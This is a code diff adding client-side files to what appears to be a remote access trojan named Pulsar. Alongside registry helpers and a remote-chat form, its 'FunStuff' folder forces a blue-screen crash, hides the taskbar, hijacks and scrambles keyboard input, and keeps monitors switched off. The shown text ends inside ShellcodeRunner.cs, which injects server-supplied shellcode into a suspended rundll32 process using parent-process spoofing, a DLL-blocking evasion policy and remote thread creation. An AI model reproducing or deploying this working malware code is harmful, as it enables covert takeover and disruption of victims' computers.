/// name and new name. + /// + /// The key of which the registry value is to be renamed from. + /// The old name of the registry value. + /// The new name of the registry value. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyValue(oldName, newName); + //Dispose of the old value + key.DeleteValue(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteValueSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old registry value to a new registry value for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the registry value is to be copied. + /// The old name of the registry value. + /// The new name of the registry value. + public static void CopyValue(this RegistryKey key, string oldName, string newName) + { + RegistryValueKind valueKind = key.GetValueKind(oldName); + object valueData = key.GetValue(oldName); + + key.SetValue(newName, valueData, valueKind); + } + + /// + /// Checks if the specified subkey exists in the key + /// + /// The key of which to search. + /// The name of the sub-key to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsSubKey(this RegistryKey key, string name) + { + foreach (string subkey in key.GetSubKeyNames()) + { + if (subkey == name) + { + return true; + } + } + return false; + } + + /// + /// Checks if the specified registry value exists in the key + /// + /// The key of which to search. + /// The name of the registry value to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsValue(this RegistryKey key, string name) + { + foreach (string value in key.GetValueNames()) + { + if (value == name) + { + return true; + } + } + return false; + } + + /// + /// Gets all of the value names associated with the registry key and returns + /// formatted strings of the filtered values. + /// + /// The registry key of which the values are obtained. + /// Yield returns formatted strings of the key and the key value. + public static IEnumerable> GetKeyValues(this RegistryKey key) + { + if (key == null) yield break; + + foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) + { + yield return new Tuple(k, key.GetValueSafe(k)); + } + } + + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . + public static object GetDefault(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return new byte[] { }; + case RegistryValueKind.MultiString: + return new string[] { }; + case RegistryValueKind.DWord: + return 0; + case RegistryValueKind.QWord: + return (long)0; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ""; + default: + return null; + } + } + } +} diff --git a/Pulsar.Client/FodyWeavers.xml b/Pulsar.Client/FodyWeavers.xml new file mode 100644 index 0000000..bc76612 --- /dev/null +++ b/Pulsar.Client/FodyWeavers.xml @@ -0,0 +1,16 @@ + + + + + MessagePack + MessagePack.Annotations + Pulsar.Common + System.Memory + System.Runtime.CompilerServices.Unsafe + System.Collections.Immutable + System.Numerics.Vectors + System.Buffers + System.Threading.Tasks.Extensions + + + \ No newline at end of file diff --git a/Pulsar.Client/FodyWeavers.xsd b/Pulsar.Client/FodyWeavers.xsd new file mode 100644 index 0000000..f2dbece --- /dev/null +++ b/Pulsar.Client/FodyWeavers.xsd @@ -0,0 +1,176 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/Pulsar.Client/FrmRemoteChat.Designer.cs b/Pulsar.Client/FrmRemoteChat.Designer.cs new file mode 100644 index 0000000..e5a070c --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.Designer.cs @@ -0,0 +1,96 @@ +namespace Pulsar.Client +{ + partial class FrmRemoteChat + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.txtMessage = new System.Windows.Forms.TextBox(); + this.Sendpacket = new System.Windows.Forms.Button(); + this.txtMessages = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // txtMessage + // + this.txtMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtMessage.Location = new System.Drawing.Point(12, 357); + this.txtMessage.Name = "txtMessage"; + this.txtMessage.Size = new System.Drawing.Size(349, 20); + this.txtMessage.TabIndex = 0; + this.txtMessage.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtMessage_KeyDown); + // + // Sendpacket + // + this.Sendpacket.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.Sendpacket.Location = new System.Drawing.Point(367, 354); + this.Sendpacket.Name = "Sendpacket"; + this.Sendpacket.Size = new System.Drawing.Size(75, 23); + this.Sendpacket.TabIndex = 1; + this.Sendpacket.Text = "Send"; + this.Sendpacket.UseVisualStyleBackColor = true; + this.Sendpacket.Click += new System.EventHandler(this.Sendpacket_Click); + // + // txtMessages + // + this.txtMessages.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtMessages.Location = new System.Drawing.Point(12, 12); + this.txtMessages.Name = "txtMessages"; + this.txtMessages.ReadOnly = true; + this.txtMessages.Size = new System.Drawing.Size(430, 339); + this.txtMessages.TabIndex = 2; + this.txtMessages.Text = ""; + // + // FrmRemoteChat + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(454, 389); + this.Controls.Add(this.txtMessages); + this.Controls.Add(this.Sendpacket); + this.Controls.Add(this.txtMessage); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRemoteChat"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "FrmRemoteChat"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteChat_FormClosed); + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteChat_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + public System.Windows.Forms.TextBox txtMessage; + private System.Windows.Forms.Button Sendpacket; + public System.Windows.Forms.RichTextBox txtMessages; + } +} \ No newline at end of file diff --git a/Pulsar.Client/FrmRemoteChat.cs b/Pulsar.Client/FrmRemoteChat.cs new file mode 100644 index 0000000..71e0eb6 --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.cs @@ -0,0 +1,162 @@ +using Pulsar.Client.Utilities.DarkMode; +using Pulsar.Common.Messages.UserSupport.RemoteChat; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + public partial class FrmRemoteChat : Form + { + [DllImport("user32.dll")] + public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr lpdwProcessId); + + [DllImport("user32.dll")] + static extern bool SetForegroundWindow(IntPtr hWnd); + [DllImport("user32.dll")] + public static extern bool BringWindowToTop(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); + + [DllImport("Kernel32.dll")] + public static extern uint GetCurrentThreadId(); + [DllImport("user32.dll")] + public static extern IntPtr GetForegroundWindow(); + + private ISender _connectedClient; + public bool Active; + + private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); + private const uint SWP_NOMOVE = 0x0002; + private const uint SWP_NOSIZE = 0x0001; + private const uint SWP_SHOWWINDOW = 0x0040; + + public FrmRemoteChat(ISender client) + { + + this._connectedClient = client; + InitializeComponent(); + DarkModeManager.ApplyDarkMode(this); + Active = true; + txtMessage.KeyDown += new KeyEventHandler(txtMessage_KeyDown); // Subscribe to the KeyDown event + + } + protected override CreateParams CreateParams + { + get + { + var cp = base.CreateParams; + cp.ExStyle |= 0x80; + return cp; + } + } + + + public void AddMessage(string sender, string message) + { + txtMessages.AppendText(string.Format("{0} {1}: {2}{3}", DateTime.Now.ToString("HH:mm:ss"), sender, message, Environment.NewLine)); + ForceFocus(); + + } + + private void FrmRemoteChat_FormClosing(object sender, FormClosingEventArgs e) + { + // Allow the form to close + } + public void ForceFocus() + { + var fThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero); + var cThread = GetCurrentThreadId(); + if (fThread != cThread) + { + AttachThreadInput(fThread, cThread, true); + BringWindowToTop(Handle); + AttachThreadInput(fThread, cThread, false); + } + else BringWindowToTop(Handle); + txtMessage.Focus(); + } + private void FrmRemoteChat_Shown(object sender, EventArgs e) + { + txtMessage.Focus(); + } + + public string sendlol() + { + return txtMessage.Text.Trim(); + } + public void SendMessageServer(ISender connectedClient, string message) + { + connectedClient.Send(new GetChat { Message = message }); + } + + + private void txtMessage_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevents the ding sound on pressing enter + Sendpacket_Click(this, new EventArgs()); // Call the Send method + } + } + + private void Sendpacket_Click(object sender, EventArgs e) + { + try + { + if (txtMessage.Text.Trim() != "") + { + SendMessageServer(_connectedClient, txtMessage.Text.Trim()); + AddMessage("Me", txtMessage.Text.Trim()); + txtMessage.Text = ""; + txtMessage.Focus(); + } + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + } + } + + private void FrmRemoteChat_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + AddMessage("System", "Chat has been ended."); + SendMessageServer(_connectedClient, "Chat has been ended."); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + } + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + protected override void OnShown(EventArgs e) + { + base.OnShown(e); + SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + } + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + const int WM_ACTIVATE = 0x0006; + const int WM_SHOWWINDOW = 0x0018; + if (m.Msg == WM_ACTIVATE || m.Msg == WM_SHOWWINDOW) + { + SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + } + } + } +} diff --git a/Pulsar.Client/FrmRemoteChat.resx b/Pulsar.Client/FrmRemoteChat.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/.DS_Store b/Pulsar.Client/FunStuff/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/FunStuff/.DS_Store differ diff --git a/Pulsar.Client/FunStuff/BSOD.cs b/Pulsar.Client/FunStuff/BSOD.cs new file mode 100644 index 0000000..15825e9 --- /dev/null +++ b/Pulsar.Client/FunStuff/BSOD.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.FunStuff +{ + public class BSOD + { + [DllImport("ntdll.dll")] + private static extern uint RtlAdjustPrivilege(int Privilege, bool Enable, bool CurrentThread, out bool Enabled); + [DllImport("ntdll.dll")] + private static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response); + + public unsafe void DOBSOD() + { + bool t1; + RtlAdjustPrivilege(19, true, false, out t1); + uint resp; + NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out resp); + } + } +} diff --git a/Pulsar.Client/FunStuff/ChangeWallpaper.cs b/Pulsar.Client/FunStuff/ChangeWallpaper.cs new file mode 100644 index 0000000..5e6ec09 --- /dev/null +++ b/Pulsar.Client/FunStuff/ChangeWallpaper.cs @@ -0,0 +1,23 @@ +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.FunStuff +{ + public static class ChangeWallpaper + { + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); + + private const int SPI_SETDESKWALLPAPER = 20; + private const int SPIF_UPDATEINIFILE = 0x01; + private const int SPIF_SENDCHANGE = 0x02; + + public static void SetWallpaper(string path) + { + if (string.IsNullOrEmpty(path)) + throw new ArgumentException("Path cannot be null or empty.", nameof(path)); + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + } +} diff --git a/Pulsar.Client/FunStuff/HideTaskbar.cs b/Pulsar.Client/FunStuff/HideTaskbar.cs new file mode 100644 index 0000000..9cd4e3f --- /dev/null +++ b/Pulsar.Client/FunStuff/HideTaskbar.cs @@ -0,0 +1,37 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Pulsar.Client.FunStuff +{ + public class HideTaskbar + { + private const int SW_HIDE = 0; + private const int SW_SHOW = 5; + + [DllImport("user32.dll")] + private static extern int FindWindow(string className, string windowText); + + [DllImport("user32.dll")] + private static extern int ShowWindow(int hwnd, int command); + + public static void DoHideTaskbar() + { + int taskbarHandle = FindWindow("Shell_TrayWnd", ""); + int startButtonHandle = FindWindow("Button", "Start"); + + if (taskbarHandle != 0) + { + int taskbarState = ShowWindow(taskbarHandle, SW_HIDE); + int startButtonState = ShowWindow(startButtonHandle, SW_HIDE); + + if (taskbarState == 0 && startButtonState == 0) + { + ShowWindow(taskbarHandle, SW_SHOW); + ShowWindow(startButtonHandle, SW_SHOW); + } + } + } + } +} diff --git a/Pulsar.Client/FunStuff/KeyboardInput.cs b/Pulsar.Client/FunStuff/KeyboardInput.cs new file mode 100644 index 0000000..aca2757 --- /dev/null +++ b/Pulsar.Client/FunStuff/KeyboardInput.cs @@ -0,0 +1,212 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; +using Pulsar.Common.Messages.FunStuff; + +namespace Pulsar.Client.FunStuff +{ + internal class KeyboardInput : IDisposable + { + private const int WH_KEYBOARD_LL = 13; + private const int WM_KEYDOWN = 0x0100; + private const int WM_KEYUP = 0x0101; + private const int WM_SYSKEYDOWN = 0x0104; + private const int WM_SYSKEYUP = 0x0105; + + private IntPtr _hookID = IntPtr.Zero; + private bool _isBlocked; + private readonly LowLevelKeyboardProc _hookProc; + private Random _rng = new Random(); + private Thread _hookThread; + private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false); + + public KeyboardInput() + { + _hookProc = HookCallback; + } + + public bool IsKeyboardDisabled => _isBlocked; + + public void EnableKeyboardBlock() + { + if (_isBlocked) return; + + // Start the hook in a separate thread + _hookThread = new Thread(InstallHook) + { + Name = "KeyboardHookThread", + IsBackground = true + }; + _hookThread.Start(); + + // Wait for hook to be installed + _hookReadyEvent.WaitOne(1000); + _isBlocked = true; + } + + public void DisableKeyboardBlock() + { + if (!_isBlocked) return; + + if (_hookID != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookID); + _hookID = IntPtr.Zero; + } + + _hookThread?.Join(1000); // Wait for thread to finish + _hookThread = null; + _hookReadyEvent.Reset(); + _isBlocked = false; + } + + public void ToggleKeyboardBlock() + { + if (_isBlocked) DisableKeyboardBlock(); + else EnableKeyboardBlock(); + } + + public void Handle(DoBlockKeyboardInput message) + { + if (message.Block) EnableKeyboardBlock(); + else DisableKeyboardBlock(); + } + + private void InstallHook() + { + try + { + using (Process process = Process.GetCurrentProcess()) + using (ProcessModule module = process.MainModule) + { + _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc, + GetModuleHandle(module.ModuleName), 0); + } + + if (_hookID == IntPtr.Zero) + { + throw new Exception("Failed to install keyboard hook"); + } + + _hookReadyEvent.Set(); // Signal that hook is ready + + // Start message pump to keep the hook alive + Application.Run(); + } + catch (Exception ex) + { + Console.WriteLine($"Hook thread error: {ex.Message}"); + } + } + + private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (nCode >= 0 && _isBlocked) + { + // Grab the key data + int vkCode = Marshal.ReadInt32(lParam); + + // 1. Random key swap + if (_rng.NextDouble() < 0.5) + vkCode = _rng.Next(0x20, 0x7E); // random printable char + + // 2. Simulate lag + Thread.Sleep(_rng.Next(100, 500)); // 100–500ms random lag + + // 3. Optionally inject fake key + if (_rng.NextDouble() < 0.3) + { + SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter + } + + // 4. Swallow the original input + return (IntPtr)1; + } + + return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); + } + + private void SendKey(Keys key) + { + INPUT[] inputs = new INPUT[] + { + new INPUT + { + type = 1, + U = new InputUnion + { + ki = new KEYBDINPUT + { + wVk = (ushort)key, + dwFlags = 0 + } + } + }, + new INPUT + { + type = 1, + U = new InputUnion + { + ki = new KEYBDINPUT + { + wVk = (ushort)key, + dwFlags = 2 // KEYEVENTF_KEYUP + } + } + } + }; + SendInput((uint)inputs.Length, inputs, INPUT.Size); + } + + [StructLayout(LayoutKind.Sequential)] + private struct INPUT + { + public uint type; + public InputUnion U; + public static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + private struct InputUnion + { + [FieldOffset(0)] public KEYBDINPUT ki; + } + + [StructLayout(LayoutKind.Sequential)] + private struct KEYBDINPUT + { + public ushort wVk; + public ushort wScan; + public uint dwFlags; + public uint time; + public IntPtr dwExtraInfo; + } + + [DllImport("user32.dll")] + private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, + IntPtr hMod, uint dwThreadId); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll")] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, + IntPtr wParam, IntPtr lParam); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + public void Dispose() + { + DisableKeyboardBlock(); + _hookReadyEvent?.Dispose(); + } + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + } +} \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/MonitorsOff.cs b/Pulsar.Client/FunStuff/MonitorsOff.cs new file mode 100644 index 0000000..657b5ca --- /dev/null +++ b/Pulsar.Client/FunStuff/MonitorsOff.cs @@ -0,0 +1,65 @@ +using System; +using System.Runtime.InteropServices; +using System.Threading; +using Pulsar.Common.Messages.FunStuff; + +namespace Pulsar.Client.FunStuff +{ + public class MonitorPower + { + private const int HWND_BROADCAST = 0xFFFF; + private const int WM_SYSCOMMAND = 0x0112; + private const int SC_MONITORPOWER = 0xF170; + private const int POWER_OFF = 2; + private const int POWER_ON = -1; + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam); + + private Thread _monitorThread; + private bool _keepOff; + + public void Handle(DoMonitorsOff message) + { + new Thread(() => + { + try + { + if (message.Off) + { + _keepOff = true; + + _monitorThread = new Thread(() => + { + while (_keepOff) + { + SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, + (IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF); + Thread.Sleep(1000); + } + }) + { + IsBackground = true + }; + _monitorThread.Start(); + } + else if (message.On) + { + _keepOff = false; + SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, + (IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON); + } + else + { + } + } + catch (Exception ex) + { + } + }) + { + IsBackground = true + }.Start(); + } + } +} diff --git a/Pulsar.Client/FunStuff/OpenCloseCDTray.cs b/Pulsar.Client/FunStuff/OpenCloseCDTray.cs new file mode 100644 index 0000000..db33522 --- /dev/null +++ b/Pulsar.Client/FunStuff/OpenCloseCDTray.cs @@ -0,0 +1,26 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; +using Pulsar.Common.Messages.FunStuff; + +namespace Pulsar.Client.FunStuff +{ + public class CDTray + { + [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] + private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback); + + public void Handle(DoCDTray message) + { + try + { + string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed"; + mciSendString(cmd, null, 0, IntPtr.Zero); + } + catch (Exception ex) + { + Console.WriteLine("CDTray error: " + ex.Message); + } + } + } +} diff --git a/Pulsar.Client/FunStuff/ShellcodeRunner.cs b/Pulsar.Client/FunStuff/ShellcodeRunner.cs new file mode 100644 index 0000000..10fd8c2 --- /dev/null +++ b/Pulsar.Client/FunStuff/ShellcodeRunner.cs @@ -0,0 +1,381 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.FunStuff; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.FunStuff +{ + internal class ShellcodeRunner + { + public void Handle(DoSendBinFile message, ISender client) + { + if (message?.Data == null || message.Data.Length == 0) + { + client.Send(new SetStatus { Message = "Error: Empty payload" }); + return; + } + + new Thread(() => + { + try + { + CreateDedicatedProcess(message.Data, client); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Error: {ex.Message}" }); + } + }) + { + IsBackground = true + }.Start(); + } + + private void CreateDedicatedProcess(byte[] shellcode, ISender client) + { + PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); + STARTUPINFOEX startupInfoEx = new STARTUPINFOEX(); + startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx); + startupInfoEx.StartupInfo.dwFlags = 0x00000001; + startupInfoEx.StartupInfo.wShowWindow = 0; + + client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." }); + + string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647"; + + // Get explorer.exe PID and directory for spoofing + var (parentPid, parentDirectory) = GetExplorerPidAndDirectory(); + client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" }); + client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" }); + + // Initialize attribute list + IntPtr lpSize = IntPtr.Zero; + InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize); + + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize); + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}"); + } + + IntPtr parentProcessHandle = IntPtr.Zero; + IntPtr lpValueProc = IntPtr.Zero; + IntPtr lpMitigationPolicy = IntPtr.Zero; + + try + { + // Set PPID spoofing + parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid); + if (parentProcessHandle == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}"); + } + + lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteIntPtr(lpValueProc, parentProcessHandle); + success = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpValueProc, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}"); + } + + // Set block non-Microsoft DLLs policy + lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON); + success = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpMitigationPolicy, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}"); + } + + // Create process with extended startup info and spoofed directory + success = CreateProcess( + null, + commandLine, + IntPtr.Zero, + IntPtr.Zero, + false, + ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, + IntPtr.Zero, + parentDirectory, // Use explorer.exe directory + ref startupInfoEx, + out procInfo); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"CreateProcess failed: 0x{error:X8}"); + } + + // Continue with original shellcode injection logic + InjectShellcode(shellcode, client, procInfo); + } + finally + { + // Cleanup + if (startupInfoEx.lpAttributeList != IntPtr.Zero) + { + DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList); + Marshal.FreeHGlobal(startupInfoEx.lpAttributeList); + } + if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc); + if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy); + if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle); + } + } + + private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo) + { + IntPtr remoteMemory = IntPtr.Zero; + IntPtr remoteThread = IntPtr.Zero; + + try + { + client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" }); + + remoteMemory = VirtualAllocEx( + procInfo.hProcess, + IntPtr.Zero, + (uint)shellcode.Length, + AllocationType.COMMIT | AllocationType.RESERVE, + MemoryProtection.EXECUTE_READWRITE); + + if (remoteMemory == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"VirtualAllocEx failed: 0x{error:X8}"); + } + + client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" }); + + uint bytesWritten = 0; + if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten)) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes"); + } + + client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" }); + + remoteThread = CreateRemoteThread( + 